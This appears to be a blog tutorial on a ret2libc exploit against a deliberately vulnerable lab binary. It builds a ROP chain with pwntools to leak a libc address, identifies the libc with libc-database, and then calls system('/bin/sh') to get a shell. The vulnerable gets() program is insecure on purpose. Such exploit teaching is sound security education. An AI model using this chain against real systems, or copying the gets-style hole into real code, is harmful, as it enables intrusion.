This post will guide your through how to exploit a binary with a unknown libc
. The post will cover details on how to perform a static and dynamic analysis of the binary and also explain how to perform a ret2libc
attack.
Tools needed
- Linux
- pwntools
- python
- libc-database
- radare2 / gdb
Setup
Filename: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
Filename: Makefile
all:
gcc -o vuln vuln.c -fno-stack-protector -no-pie
- To compile the program, run
make
in the same directory as the files. - You should now have a binary called
vuln
that you can run with./vuln
Static analysis
First we need to figure out if the binary is 32-bit
or 64-bit
. This can be done with the file
command.
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=09907533b43263caa145e3320b6e9ed01be10746, not stripped
We are dealing with a 64-bit
binary. Now we need to figure out which protections are enabled. This can with the checksec
that comes with pwntools
.
$ checksec vuln
[*] '/rop2win/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
-
NX enabled
, which stands fornon-executable
. This means we can’t do a classic buffer overflow and place our shellcode onto the stack. We have to resort to other options as stack segment is non executable. -
NO canary
, no stack canary which is good as it will become much easier for us to exploit the binary later. -
ASLR is probably enabled.
Now we have gather a lot of useful information about the binary. Let’s fire up radare2
to do some static analysis of the binary.
$ r2 vuln
[0x7fedca20a090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis
[0x7fedca20a090]> s main
[0x00400537]> pdf
;-- main:
/ (fcn) sym.main 44
| sym.main (int argc, char **argv, char **envp);
| ; var int local_20h @ rbp-0x20
| ; DATA XREF from entry0 (0x40046d)
| 0x00400537 55 push rbp
| 0x00400538 4889e5 mov rbp, rsp
| 0x0040053b 4883ec20 sub rsp, 0x20
| 0x0040053f 488d3dae0000. lea rdi, str.Simple_ROP. ; 0x4005f4 ; "Simple ROP.\n"
| 0x00400546 e8e5feffff call sym.imp.puts ; int puts(const char *s)
| 0x0040054b 488d45e0 lea rax, [local_20h]
| 0x0040054f 4889c7 mov rdi, rax
| 0x00400552 b800000000 mov eax, 0
| 0x00400557 e8e4feffff call sym.imp.gets ; char *gets(char *s)
| 0x0040055c b800000000 mov eax, 0
| 0x00400561 c9 leave
\ 0x00400562 c3 ret
Psuedo code from this assembly code will look something like this:
int main(){
char local_20[32];
puts("Simple ROP.\n");
gets(local_20);
return 0;
}
We know from the man
page of gets
that the function should never be used as it will create a buffer overflow.
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will con‐
tinue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
Summary
Cool, lets sum up what we have figured out so far:
- 64-bit binary
- NX enabled
- No stack canary
- Use of vulnerable function
gets
. - Buffer size of only 32 characters.
- ASLR Probably enabled
Dynamic analysis
Playing around with the binary we first see if our static analysis is correct
$ ./vuln
Simple ROP.
hello
Correct. First a call to puts
, then a call to gets
. Let’s see if we can get the program to crash by entering a bigger payload.
$ ./vuln
Simple ROP.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
A segmentation fault
occurred when we entered a payload bigger than 32 characters. This means we overwrote the return address of the stack frame with A's
which is 0x41
in hex, which is a invalid address that the program will jump to and then crash as the instruction does not exist.
Leaking libc address with pwntools
We know we can’t do a text box buffer overflow. What we can do instead is do a ROP attack. First we need to leak a LIBC address:
$ objdump -t vuln
..
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
..
I choose to leak libc address of __libc_start_main
.
Let’s create a rop chain that will:
- Overflow buffer until return address
- Call
pop rdi; ret
gadget - Place
__libc_start_main
onto the stack - Call
puts@plt
from pwn import * # Import pwntools
p = process("./vuln") # start the vuln binary
elf = ELF("./vuln") # Extract data from binary
rop = ROP(elf) # Find ROP gadgets
# Find addresses for puts, __libc_start_main and a `pop rdi;ret` gadget
PUTS = elf.plt['puts']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] # Same as ROPgadget --binary vuln | grep "pop rdi"
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
base = "A"*32 + "B"*8 #Overflow buffer until return address
# Create rop chain
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) + p64(PUTS)
#Send our rop-chain payload
p.sendlineafter("ROP.", rop)
#Parse leaked address
p.recvline()
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, __libc_start_main: %s" % hex(leak))
p.close()
Running the script:
$ python exploit.py
[+] Starting local process './vuln': pid 14155
[*] puts@plt: 0x40042c
[*] __libc_start_main: 0x600ff0
[*] pop rdi gadget: 0x4005d3
[*] Leaked libc address, __libc_start_main: 0x7f0c5fbbaab0
[*] Stopped process './vuln' (pid 14155)
Now we have managed to leak a libc address
which is 0x7f0c5fbbaab0
. Without knowing the version of the libc, it’s impossible to calculate offsets to other libc functions. puts
and gets
will only get us so far. system
would be more useful.
Unknown libc version, is it really unknown?
I will use libc-database for this.
To install run:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
This will take some time, be patient.
For this to work we need:
- Libc symbol name:
__libc_start_main
- Leaked libc adddress:
0x7f0c5fbbaab0
We can figure out which libc that is most likely used.
$ ./find __libc_start_main 0x7f0c5fbbaab0
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)
We get 1 match
which is libc6_2.27-3ubuntu1_amd64
!
Let’s download the libc.
$ ./download libc6_2.27-3ubuntu1_amd64
Getting libc6_2.27-3ubuntu1_amd64
-> Location: http://mirrors.kernel.org/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.27-3ubuntu1_amd64
Copy the libc from libc/libc6_2.27-3ubuntu1_amd64/libc-2.27.so
to our working directory.
Building the final payload: ret2libc
from pwn import * # Import pwntools
p = process("./vuln") # start the vuln binary
elf = ELF("./vuln")# Extract data from binary
libc = ELF("libc-2.27.so")
rop = ROP(elf)# Find ROP gadgets
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
#Overflow buffer until return address
base = "A"*32 + "B"*8
# Create rop chain
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) + p64(PUTS) + p64(MAIN)
#Send our rop-chain payload
p.sendlineafter("ROP.", rop)
#Parse leaked address
p.recvline()
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))
BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
rop2 = base + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p.sendlineafter("ROP.", rop2)
p.interactive()
Running the exploit we get shell
.
$ python exploit.py
[+] Starting local process './vuln': pid 15796
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] './libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded cached gadgets for './vuln'
[*] puts@plt: 0x40042c
[*] __libc_start_main: 0x600ff0
[*] pop rdi gadget: 0x4005d3
[*] Leaked libc address, __libc_start_main: 0x7f07dd0d4ab0
[*] Address of libc 0x7f07dd0b3000
[*] bin/sh 0x7f07dd266e9a
[*] system 0x7f07dd102440
[*] Switching to interactive mode
$ ls
exploit.py Makefile vuln.c vuln
libc-2.27.so peda-session-vuln.txt